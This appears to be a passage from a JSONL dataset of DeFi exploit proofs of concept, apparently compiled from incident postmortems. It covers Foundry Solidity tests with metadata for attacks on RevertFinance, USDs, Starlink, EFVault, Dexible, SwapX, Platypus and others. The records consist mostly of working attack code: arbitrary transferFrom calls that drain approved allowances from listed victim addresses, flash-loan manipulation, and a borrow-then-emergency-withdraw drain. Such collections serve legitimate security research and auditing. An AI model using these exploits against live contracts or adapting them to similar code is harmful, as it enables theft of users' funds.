IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n address[] victims = [0x067D0F9089743271058D4Bf2a1a29f4E9C6fdd1b, 0x4107A0A4a50AC2c4cc8C5a3954Bc01ff134506b2];\n uint256 counter;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_653_389);\n cheats.label(address(utils), \"utils\");\n cheats.label(address(USDC), \"USDC\");\n }\n\n function testExploit() external {\n for (uint256 i; i < victims.length; ++i) {\n uint256 transferAmount = USDC.balanceOf(victims[i]);\n if (USDC.allowance(victims[i], address(utils)) < transferAmount) {\n transferAmount = USDC.allowance(victims[i], address(utils));\n if (transferAmount == 0) continue;\n }\n bytes memory data = abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\", victims[i], address(this), transferAmount\n );\n bytes memory swapdata = abi.encode(address(USDC), address(this), data);\n V3Utils.SwapParams memory params = V3Utils.SwapParams({\n tokenIn: address(this),\n tokenOut: address(this),\n amountIn: 1,\n minAmountOut: 0,\n recipient: address(this),\n swapData: swapdata,\n unwrap: false\n });\n utils.swap(params);\n counter--;\n }\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function transferFrom(address from, address to, uint256 value) external returns (bool) {\n counter++;\n return true;\n }\n\n function approve(address spender, uint256 value) external returns (bool) {\n return true;\n }\n\n function transfer(address to, uint256 value) external returns (bool) {\n return true;\n }\n\n function balanceOf(\n address owner\n ) external view returns (uint256) {\n if (counter == 1) return 1;\n else return 0;\n }\n}\n", "type": "exploit_poc", "protocol": "RevertFinance", "date": "2023-02", "file_name": "RevertFinance_exp.sol", "attack_vector": null, "content_hash": "f4e6da616ff08a2e", "collected_at": "2026-01-07T10:59:16.515775", "_source": "postmortems", "chain": "ethereum", "block_number": 16653389, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.5, "quality_estimate": "low", "title": "RevertFinance Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"forge-std/console.sol\";\n\n// @Analysis\n// https://twitter.com/danielvf/status/1621965412832350208\n// https://medium.com/sperax/usds-feb-3-exploit-report-from-engineering-team-9f0fd3cef00c\n// @TX\n// https://arbiscan.io/tx/0xfaf84cabc3e1b0cf1ff1738dace1b2810f42d98baeea17b146ae032f0bdf82d5\n\ninterface USDs {\n function balanceOf(\n address _account\n ) external returns (uint256);\n function mint(address _account, uint256 _amount) external;\n function transfer(address to, uint256 amount) external returns (bool);\n function vaultAddress() external returns (address);\n}\n\ncontract USDsTest is Test {\n USDs usds = USDs(0xD74f5255D557944cf7Dd0E45FF521520002D5748);\n address ATTACKER_CONTRACT = address(0xdeadbeef);\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 57_803_529);\n\n vm.label(address(usds), \"USDs\");\n vm.label(0x97A7E6Cf949114Fe4711018485D757b9c4962307, \"USDsImpl\");\n vm.label(ATTACKER_CONTRACT, \"AttackerContract\");\n vm.label(address(this), \"AttackerAddress\");\n\n vm.prank(usds.vaultAddress());\n usds.mint(address(this), 11e18);\n }\n\n function testExploit() public {\n usds.transfer(ATTACKER_CONTRACT, 11e18);\n\n // Etch code. In the real hack this was a Gnosis Safe being deployed\n vm.etch(ATTACKER_CONTRACT, bytes(\"code\"));\n\n // Trigger balance recalculation\n vm.prank(ATTACKER_CONTRACT);\n usds.transfer(address(this), 1);\n\n console.log(\"Attacker Contract balance after: \", usds.balanceOf(ATTACKER_CONTRACT));\n }\n}\n", "type": "exploit_poc", "protocol": "USDs", "date": "2023-02", "file_name": "USDs_exp.sol", "attack_vector": null, "content_hash": "a917712186ac7d36", "collected_at": "2026-01-07T10:59:16.515819", "_source": "postmortems", "chain": "arbitrum", "block_number": 57803529, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n usds.transfer(ATTACKER_CONTRACT, 11e18);\n\n // Etch code. In the real hack this was a Gnosis Safe being deployed\n vm.etch(ATTACKER_CONTRACT, bytes(\"code\"));\n\n // Trigger balance recalculation\n vm.prank(ATTACKER_CONTRACT);\n usds.transfer(address(this), 1);\n\n console.log(\"Attacker Contract balance after: \", usds.balanceOf(ATTACKER_CONTRACT));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.83, "quality_estimate": "low", "title": "USDs Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/NumenAlert/status/1626447469361102850\n// https://twitter.com/bbbb/status/1626392605264351235\n// @TX\n// https://bscscan.com/tx/0x146586f05a4513136deab3557ad15df8f77ffbcdbd0dd0724bc66dbeab98a962\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 Starlink = IERC20(0x518281F34dbf5B76e6cdd3908a6972E8EC49e345);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x425444dA1410940CFdfB6A980Bd16aA7a5376d6D);\n address dodo1 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n address dodo2 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\n address dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n uint256 dodoFlashAmount1;\n uint256 dodoFlashAmount2;\n uint256 dodoFlashAmount3;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 25_729_304);\n }\n\n function testExploit() public {\n dodoFlashAmount1 = WBNB.balanceOf(dodo1);\n DVM(dodo1).flashLoan(dodoFlashAmount1, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == dodo1) {\n dodoFlashAmount2 = WBNB.balanceOf(dodo2);\n DVM(dodo2).flashLoan(dodoFlashAmount2, 0, address(this), new bytes(1));\n WBNB.transfer(dodo1, dodoFlashAmount1);\n } else if (msg.sender == dodo2) {\n dodoFlashAmount3 = WBNB.balanceOf(dodo3);\n DVM(dodo3).flashLoan(dodoFlashAmount3, 0, address(this), new bytes(1));\n WBNB.transfer(dodo2, dodoFlashAmount2);\n } else if (msg.sender == dodo3) {\n WBNBToStarlink();\n while (Starlink.balanceOf(address(Pair)) > 1000) {\n Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair)));\n Pair.skim(address(this));\n Pair.sync();\n }\n StarlinkToWBNB();\n WBNB.transfer(dodo3, dodoFlashAmount3);\n }\n }\n\n function WBNBToStarlink() internal {\n uint256 amountIn = WBNB.balanceOf(address(this));\n WBNB.transfer(address(Pair), WBNB.balanceOf(address(this)));\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(Starlink);\n uint256[] memory values = Router.getAmountsOut(amountIn, path);\n values[1] = Starlink.balanceOf(address(Pair)) * 51 / 100;\n Pair.swap(values[1], 0, address(this), \"\");\n }\n\n function StarlinkToWBNB() internal {\n Starlink.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(Starlink);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n Starlink.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Starlink", "date": "2023-02", "file_name": "Starlink_exp.sol", "attack_vector": "flash_loan", "content_hash": "0f0046b2846d4dcc", "collected_at": "2026-01-07T10:59:16.515856", "_source": "postmortems", "chain": "bsc", "block_number": 25729304, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n dodoFlashAmount1 = WBNB.balanceOf(dodo1);\n DVM(dodo1).flashLoan(dodoFlashAmount1, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.65, "quality_estimate": "low", "title": "Starlink Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1630490333716029440\n// https://twitter.com/drdr_zz/status/1630500170373685248\n// https://twitter.com/gbaleeeee/status/1630587522698080257\n// @TX\n// https://etherscan.io/tx/0x1fe5a53405d00ce2f3e15b214c7486c69cbc5bf165cf9596e86f797f62e81914\n\ninterface IENF is IERC20 {\n function redeem(uint256 shares, address receiver) external;\n}\n\ncontract ContractTest is Test {\n IENF ENF = IENF(0xBDB515028A6fA6CD1634B5A9651184494aBfD336);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n address exploiter = 0x8B5A8333eC272c9Bca1E43F4d009E9B2FAd5EFc9;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_696_239);\n }\n\n function testExploit() external {\n deal(address(ENF), address(this), 1e18);\n cheats.startPrank(address(this), address(this));\n ENF.redeem(676_562, exploiter);\n cheats.stopPrank();\n\n emit log_named_decimal_uint(\"Exploiter USDC balance after exploit\", USDC.balanceOf(exploiter), USDC.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "EFVault", "date": "2023-02", "file_name": "EFVault_exp.sol", "attack_vector": null, "content_hash": "7009d9073b2099ae", "collected_at": "2026-01-07T10:59:16.515899", "_source": "postmortems", "chain": "ethereum", "block_number": 16696239, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 0.63, "quality_estimate": "low", "title": "EFVault Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1626493024879673344\n// @TX\n// https://etherscan.io/tx/0x138daa4cbeaa3db42eefcec26e234fc2c89a4aa17d6b1870fc460b2856fd11a6\n// https://twitter.com/MevRefund/status/1626450002254958592\n\nlibrary TokenTypes {\n struct TokenAmount {\n uint112 amount;\n address token;\n }\n}\n\nlibrary SwapTypes {\n struct RouterRequest {\n address router;\n address spender;\n TokenTypes.TokenAmount routeAmount;\n bytes routerData;\n }\n\n struct SelfSwap {\n address feeToken;\n TokenTypes.TokenAmount tokenIn;\n TokenTypes.TokenAmount tokenOut;\n RouterRequest[] routes;\n }\n}\n\ninterface IDexible {\n function selfSwap(\n SwapTypes.SelfSwap calldata request\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 TRU = IERC20(0x4C19596f5aAfF459fA38B0f7eD92F11AE6543784);\n IDexible Dexible = IDexible(0xDE62E1b0edAa55aAc5ffBE21984D321706418024);\n address victim = 0x58f5F0684C381fCFC203D77B2BbA468eBb29B098;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_646_022);\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(TRU), \"TRU\");\n cheats.label(address(Dexible), \"Dexible\");\n }\n\n function testExploit() external {\n deal(address(USDC), address(this), 15 * 1e6);\n USDC.approve(address(Dexible), type(uint256).max);\n uint256 transferAmount = TRU.balanceOf(victim);\n if (TRU.allowance(victim, address(Dexible)) < transferAmount) {\n transferAmount = TRU.allowance(victim, address(Dexible));\n }\n bytes memory callDatas =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victim, address(this), transferAmount);\n TokenTypes.TokenAmount memory routeAmounts = TokenTypes.TokenAmount({amount: 0, token: address(TRU)});\n TokenTypes.TokenAmount memory tokenIns = TokenTypes.TokenAmount({amount: 14_403_789, token: address(USDC)});\n TokenTypes.TokenAmount memory tokenOuts = TokenTypes.TokenAmount({amount: 0, token: address(USDC)});\n SwapTypes.RouterRequest[] memory route = new SwapTypes.RouterRequest[](1);\n route[0] = SwapTypes.RouterRequest({\n router: address(TRU),\n spender: address(Dexible),\n routeAmount: routeAmounts,\n routerData: callDatas\n });\n SwapTypes.SelfSwap memory requests =\n SwapTypes.SelfSwap({feeToken: address(USDC), tokenIn: tokenIns, tokenOut: tokenOuts, routes: route});\n Dexible.selfSwap(requests);\n\n emit log_named_decimal_uint(\"Attacker TRU balance after exploit\", TRU.balanceOf(address(this)), TRU.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "Dexible", "date": "2023-02", "file_name": "Dexible_exp.sol", "attack_vector": null, "content_hash": "a03d546e9b624a28", "collected_at": "2026-01-07T10:59:16.515939", "_source": "postmortems", "chain": "ethereum", "block_number": 16646022, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.5, "quality_estimate": "low", "title": "Dexible Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1630111965942018049\n// https://twitter.com/peckshield/status/1630100506319413250\n// @TX\n// https://bscscan.com/tx/0x3ee23c1585474eaa4f976313cafbc09461abb781d263547c8397788c68a00160\n\ncontract ContractTest is Test {\n address swapX = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01;\n IERC20 DND = IERC20(0x34EA3F7162E6f6Ed16bD171267eC180fD5c848da);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = Uni_Router_V2(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);\n address[] victims = [\n 0x0b70e2Abe6F1A056E23658aED1FF9EF9901CB2A3,\n 0x210C9E1d9E0572da30B2b8b9ca57E5e380528534,\n 0x6906f738daFD4Bf14d6e3e979d4Aaf980FF5392D,\n 0x708a34D4C5a7D7fd39eE4DB0593be18df58fd227,\n 0x48ba64b8CBd8BBcE086E8e8ECc6f4De34AA35D08,\n 0xBF57dea8e19022562F002Da6b7bbe2A2DB85c2c0,\n 0x4148b0B927cC8246f65AF9B77dfA84b60565820c,\n 0x57070188BAA313c73fffDbA43c0ABE17fbFB41f9,\n 0x08943873222CE63eC48f8907757928dcb06af388,\n 0x047252B87FB7ecb7e29F8026dd117EB8B8E6cF0f,\n 0x8C51b7BB3f64845912616914455517DF294A0d0B,\n 0x91243b8242f13299C5af661ef5d19bfE0D3bf024,\n 0xfe23ea0CEC98D54A677F4aD3082D64f8A0207eB7,\n 0x54D7AFCaF140fA45Ff5387f0f2954bC913c0796F,\n 0x76bf18aFED5AcCFd59525D10ce15C4B8Cb64370d,\n 0xe5d985b7b934dc0e0E1043Fc11f50ba9E229465C\n ];\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 26_023_088);\n cheats.label(address(swapX), \"swapX\");\n cheats.label(address(DND), \"DND\");\n cheats.label(address(BUSD), \"BUSD\");\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(Router), \"Router\");\n }\n\n function testExploit() external {\n deal(address(DND), address(this), 1_000_000 * 1e18);\n for (uint256 i; i < victims.length; ++i) {\n uint256 transferAmount = BUSD.balanceOf(victims[i]);\n if (BUSD.allowance(victims[i], swapX) < transferAmount) {\n transferAmount = BUSD.allowance(victims[i], swapX);\n if (transferAmount == 0) continue;\n }\n address[] memory swapPath = new address[](3);\n swapPath[0] = address(BUSD);\n swapPath[1] = address(WBNB);\n swapPath[2] = address(DND);\n uint256 value = 0;\n uint24[] memory array = new uint24[](16);\n array[0] = 65_536;\n array[11] = 257;\n swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));\n }\n\n DNDToWBNB();\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DNDToWBNB() internal {\n DND.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(DND);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokens(DND.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "SwapX", "date": "2023-02", "file_name": "SwapX_exp.sol", "attack_vector": null, "content_hash": "38ad235cb5198ef0", "collected_at": "2026-01-07T10:59:16.515987", "_source": "postmortems", "chain": "bsc", "block_number": 26023088, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.69, "quality_estimate": "low", "title": "SwapX Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analsis\n// https://twitter.com/peckshield/status/1626367531480125440\n// https://twitter.com/spreekaway/status/1626319585040338953\n// @TX\n// https://snowtrace.io/tx/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430\n\ninterface PlatypusPool {\n function deposit(address token, uint256 amount, address to, uint256 deadline) external;\n function withdraw(address token, uint256 liquidity, uint256 minimumAmount, address to, uint256 deadline) external;\n function swap(\n address fromToken,\n address toToken,\n uint256 fromAmount,\n uint256 minimumToAmount,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface MasterPlatypusV4 {\n function deposit(uint256 _pid, uint256 _amount) external;\n function emergencyWithdraw(\n uint256 _pid\n ) external;\n}\n\ninterface PlatypusTreasure {\n struct PositionView {\n uint256 collateralAmount;\n uint256 collateralUSD;\n uint256 borrowLimitUSP;\n uint256 liquidateLimitUSP;\n uint256 debtAmountUSP;\n uint256 debtShare;\n uint256 healthFactor; // `healthFactor` is 0 if `debtAmountUSP` is 0\n bool liquidable;\n }\n\n function positionView(address _user, address _token) external view returns (PositionView memory);\n function borrow(address _token, uint256 _borrowAmount) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);\n IERC20 USP = IERC20(0xdaCDe03d7Ab4D81fEDdc3a20fAA89aBAc9072CE2);\n IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);\n IERC20 USDT = IERC20(0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7);\n IERC20 USDT_E = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);\n IERC20 BUSD = IERC20(0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39);\n IERC20 DAI_E = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);\n IERC20 LPUSDC = IERC20(0xAEf735B1E7EcfAf8209ea46610585817Dc0a2E16);\n PlatypusPool Pool = PlatypusPool(0x66357dCaCe80431aee0A7507e2E361B7e2402370);\n MasterPlatypusV4 Master = MasterPlatypusV4(0xfF6934aAC9C94E1C39358D4fDCF70aeca77D0AB0);\n PlatypusTreasure Treasure = PlatypusTreasure(0x061da45081ACE6ce1622b9787b68aa7033621438);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"avalanche\", 26_343_613);\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(USP), \"USP\");\n cheats.label(address(USDC_E), \"USDC_E\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(USDT_E), \"USDT_E\");\n cheats.label(address(BUSD), \"BUSD\");\n cheats.label(address(DAI_E), \"DAI_E\");\n cheats.label(address(LPUSDC), \"LPUSDC\");\n cheats.label(address(Pool), \"Pool\");\n cheats.label(address(Master), \"Master\");\n cheats.label(address(Treasure), \"Treasure\");\n cheats.label(address(aaveV3), \"aaveV3\");\n }\n\n function testExploit() external {\n aaveV3.flashLoanSimple(address(this), address(USDC), 44_000_000 * 1e6, new bytes(0), 0);\n\n emit log_named_decimal_uint(\"Attacker USP balance after exploit\", USP.balanceOf(address(this)), USP.decimals());\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDC_E balance after exploit\", USDC_E.balanceOf(address(this)), USDC_E.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDT_E balance after exploit\", USDT_E.balanceOf(address(this)), USDT_E.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker DAI_E balance after exploit\", DAI_E.balanceOf(address(this)), DAI_E.decimals()\n );\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initator,\n bytes calldata params\n ) external returns (bool) {\n USDC.approve(address(aaveV3), amount + premium);\n USDC.approve(address(Pool), amount);\n Pool.deposit(address(USDC), amount, address(this), block.timestamp); // deposit USDC to LP-USDC\n uint256 LPUSDCAmount = LPUSDC.balanceOf(address(this));\n LPUSDC.approve(address(Master), LPUSDCAmount);\n Master.deposit(4, LPUSDCAmount); // deposit LP-USDC to MasterPlatypus\n PlatypusTreasure.PositionView memory Position = Treasure.positionView(address(this), address(LPUSDC));\n uint256 borrowAmount = Position.borrowLimitUSP;\n Treasure.borrow(address(LPUSDC), borrowAmount); // borrow USP from Treasure\n Master.emergencyWithdraw(4);\n LPUSDC.approve(address(Pool), LPUSDC.balanceOf(address(this)));\n Pool.withdraw(address(USDC), LPUSDC.balanceOf(address(this)), 0, address(this), block.timestamp); // withdraw USDC from LP-USDC\n swapUSPToOtherToken();\n return true;\n }\n\n function swapUSPToOtherToken() internal {\n USP.approve(address(Pool), 9_000_000 * 1e18);\n Pool.swap(address(USP), address(USDC), 2_500_000 * 1e18, 0, address(this), block.timestamp);\n Pool.swap(address(USP), address(USDC_E), 2_000_000 * 1e18, 0, address(this), block.timestamp);\n Pool.swap(address(USP), address(USDT), 1_600_000 * 1e18, 0, address(this), block.timestamp);\n Pool.swap(address(USP), address(USDT_E), 1_250_000 * 1e18, 0, address(this), block.timestamp);\n Pool.swap(address(USP), address(BUSD), 700_000 * 1e18, 0, address(this), block.timestamp);\n Pool.swap(address(USP), address(DAI_E), 700_000 * 1e18, 0, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "Platypus", "date": "2023-02", "file_name": "Platypus_exp.sol", "attack_vector": "flash_loan", "content_hash": "75a6e4d5decc65a0", "collected_at": "2026-01-07T10:59:16.516032", "_source": "postmortems", "chain": "avalanche", "block_number": 26343613, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "Platypus Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/MevRefund/status/1622793836291407873\n// https://twitter.com/peckshield/status/1622801412727148544\n// @TX\n// https://etherscan.io/tx/0x90b468608fbcc7faef46502b198471311baca3baab49242a4a85b73d4924379b\ninterface SwapGuard {\n struct Data {\n address target;\n uint256 value;\n bytes callData;\n }\n\n function envelope(\n Data[] calldata interactions,\n address vault,\n IERC20[] calldata tokens,\n uint256[] calldata tokenPrices,\n int256[] calldata balanceChanges,\n uint256 allowedLoss\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n SwapGuard swapGuard = SwapGuard(0xcD07a7695E3372aCD2B2077557DE93e667B92bd8);\n address GPv2Settlement = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_574_048);\n vm.label(address(DAI), \"DAI\");\n vm.label(address(swapGuard), \"SwapGuard\");\n vm.label(address(GPv2Settlement), \"GPv2Settlement\");\n }\n\n function testExploit() external {\n uint256 amount = DAI.balanceOf(GPv2Settlement);\n if (DAI.allowance(GPv2Settlement, address(swapGuard)) < amount) {\n amount = DAI.allowance(GPv2Settlement, address(swapGuard));\n }\n bytes memory callDatas =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", GPv2Settlement, address(this), amount);\n SwapGuard.Data[] memory interactions = new SwapGuard.Data[](1);\n interactions[0] = SwapGuard.Data({target: address(DAI), value: 0, callData: callDatas});\n address vault = address(this);\n IERC20[] memory tokens = new IERC20[](1);\n tokens[0] = DAI;\n uint256[] memory tokenPrices = new uint256[](1);\n tokenPrices[0] = 0;\n int256[] memory balanceChanges = new int256[](1);\n balanceChanges[0] = 0;\n uint256 